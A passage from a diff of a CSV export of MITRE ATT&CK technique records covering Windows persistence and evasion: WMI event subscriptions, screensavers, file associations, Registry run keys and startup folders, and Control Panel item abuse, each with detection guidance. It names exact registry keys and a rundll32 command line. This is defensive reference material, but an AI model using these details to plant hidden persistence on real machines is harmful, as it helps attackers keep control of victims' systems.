ExternalReference(source_name='Dell WMI Persistence', description='Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.', url='https://www.secureworks.com/blog/wmi-persistence'), ExternalReference(source_name='Microsoft MOF May 2018', description='Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902'), ExternalReference(source_name='Medium Detecting WMI Persistence', description='French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96'), ExternalReference(source_name='Elastic - Hunting for Persistence Part 1', description='French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', url='https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'), ExternalReference(source_name='Microsoft Register-WmiEvent', description='Microsoft. (n.d.). Retrieved January 24, 2020.', url='https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1')]",attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-13 21:32:54.094000+00:00,Windows Management Instrumentation Event Subscription,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brent Murphy, Elastic', 'David French, Elastic']","['Command: Command Execution', 'Process: Process Creation', 'WMI: WMI Creation']",,,,,"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) +WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/003', 'external_id': 'T1546.003'}, {'source_name': 'Mandiant M-Trends 2015', 'description': 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.', 'url': 'https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf'}, {'source_name': 'FireEye WMI SANS 2015', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'Dell WMI Persistence', 'description': 'Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.', 'url': 'https://www.secureworks.com/blog/wmi-persistence'}, {'source_name': 'Microsoft MOF May 2018', 'description': 'Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Medium Detecting WMI Persistence', 'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'}, {'source_name': 'Microsoft Register-WmiEvent', 'description': 'Microsoft. (n.d.). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic']","['Command: Command Execution', 'Process: Process Creation', 'WMI: WMI Creation']",,"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) -Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.1 -2020-01-24 13:51:01.210000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. +Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).",True,"['Administrator', 'SYSTEM']",['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T13:51:01.210Z,2020-03-23T12:23:04.955Z,Screensaver,"Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: @@ -2152,22 +2363,22 @@ The following screensaver settings are stored in the Registry (HKCU\Contro * ScreenSaverIsSecure - set to '0' to not require a password to unlock * ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed -Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/002', external_id='T1546.002'), ExternalReference(source_name='Wikipedia Screensaver', description='Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.', url='https://en.wikipedia.org/wiki/Screensaver'), ExternalReference(source_name='ESET Gazer Aug 2017', description='ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.', url='https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf')]",attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-23 12:23:04.955000+00:00,Screensaver,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Bartosz Jerzman'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,,,,"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. +Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/002', 'external_id': 'T1546.002'}, {'source_name': 'Wikipedia Screensaver', 'description': 'Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Screensaver'}, {'source_name': 'ESET Gazer Aug 2017', 'description': 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Bartosz Jerzman'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification']",,"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. -Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-24 13:40:47.282000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. +Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T13:40:47.282Z,2020-01-24T13:40:47.282Z,Change Default File Association,"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example: * HKEY_CLASSES_ROOT\txtfile\shell\open\command * HKEY_CLASSES_ROOT\txtfile\shell\print\command * HKEY_CLASSES_ROOT\txtfile\shell\printto\command -The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/001', external_id='T1546.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/556.html', external_id='CAPEC-556'), ExternalReference(source_name='Microsoft Change Default Programs', description='Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.', url='https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs'), ExternalReference(source_name='Microsoft File Handlers', description='Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.', url='http://msdn.microsoft.com/en-us/library/bb166549.aspx'), ExternalReference(source_name='Microsoft Assoc Oct 2017', description='Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.', url='https://docs.microsoft.com/windows-server/administration/windows-commands/assoc'), ExternalReference(source_name='TrendMicro TROJ-FAKEAV OCT 2012', description='Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.', url='https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd')]",attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-01-24 13:40:47.282000+00:00,Change Default File Association,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Stefan Kanthak']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,,,,"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. +The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/001', 'external_id': 'T1546.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/556.html', 'external_id': 'CAPEC-556'}, {'source_name': 'Microsoft Change Default Programs', 'description': 'Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.', 'url': 'https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs'}, {'source_name': 'Microsoft File Handlers', 'description': 'Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/bb166549.aspx'}, {'source_name': 'Microsoft Assoc Oct 2017', 'description': 'Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/assoc'}, {'source_name': 'TrendMicro TROJ-FAKEAV OCT 2012', 'description': 'Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. -Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",,,,,True,,,"['Administrator', 'SYSTEM', 'User']",['Windows'],,,,1.0 -2020-01-23 22:02:48.566000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ""run keys"" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. +Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",True,"['Administrator', 'SYSTEM', 'User']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T22:02:48.566Z,2021-01-06T18:36:29.226Z,Registry Run Keys / Startup Folder,"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ""run keys"" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. @@ -2205,16 +2416,16 @@ Programs listed in the load value of the registry key HKEY_CURRENT_USER\So By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. -Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/001', external_id='T1547.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/270.html', external_id='CAPEC-270'), ExternalReference(source_name='Microsoft Run Key', description='Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', url='http://msdn.microsoft.com/en-us/library/aa376977'), ExternalReference(source_name='Microsoft Wow6432Node 2018', description='Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry'), ExternalReference(source_name='Malwarebytes Wow6432Node 2016', description='Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.', url='https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/'), ExternalReference(source_name='Microsoft RunOnceEx APR 2018', description='Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.', url='https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key'), ExternalReference(source_name='Oddvar Moe RunOnceEx Mar 2018', description='Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.', url='https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-01-06 18:36:29.226000+00:00,Registry Run Keys / Startup Folder,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oddvar Moe, @oddvarmoe']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. +Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/001', 'external_id': 'T1547.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/270.html', 'external_id': 'CAPEC-270'}, {'source_name': 'Microsoft Run Key', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa376977'}, {'source_name': 'Microsoft Wow6432Node 2018', 'description': 'Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry'}, {'source_name': 'Malwarebytes Wow6432Node 2016', 'description': 'Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.', 'url': 'https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/'}, {'source_name': 'Microsoft RunOnceEx APR 2018', 'description': 'Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.', 'url': 'https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key'}, {'source_name': 'Oddvar Moe RunOnceEx Mar 2018', 'description': 'Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.', 'url': 'https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. -Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,"['Administrator', 'User']",['Windows'],,,,1.1 -2020-01-23 19:59:52.630000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. +Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['Administrator', 'User']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:59:52.630Z,2020-10-21T18:37:11.672Z,Control Panel,"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. -Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/002', external_id='T1218.002'), ExternalReference(source_name='Microsoft Implementing CPL', description='M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.', url='https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx'), ExternalReference(source_name='TrendMicro CPL Malware Jan 2014', description='Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='TrendMicro CPL Malware Dec 2013', description='Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/'), ExternalReference(source_name='Palo Alto Reaver Nov 2017', description='Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.', url='https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/'), ExternalReference(source_name='ESET InvisiMole June 2020', description='Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', url='https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf')]",attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 18:37:11.672000+00:00,Control Panel,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['ESET'],"['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']",['Application control'],,,,"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) +Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/002', 'external_id': 'T1218.002'}, {'source_name': 'Microsoft Implementing CPL', 'description': 'M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx'}, {'source_name': 'TrendMicro CPL Malware Jan 2014', 'description': 'Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'}, {'source_name': 'TrendMicro CPL Malware Dec 2013', 'description': 'Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/'}, {'source_name': 'Palo Alto Reaver Nov 2017', 'description': 'Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/'}, {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ESET'],"['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']",['Application control'],"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from 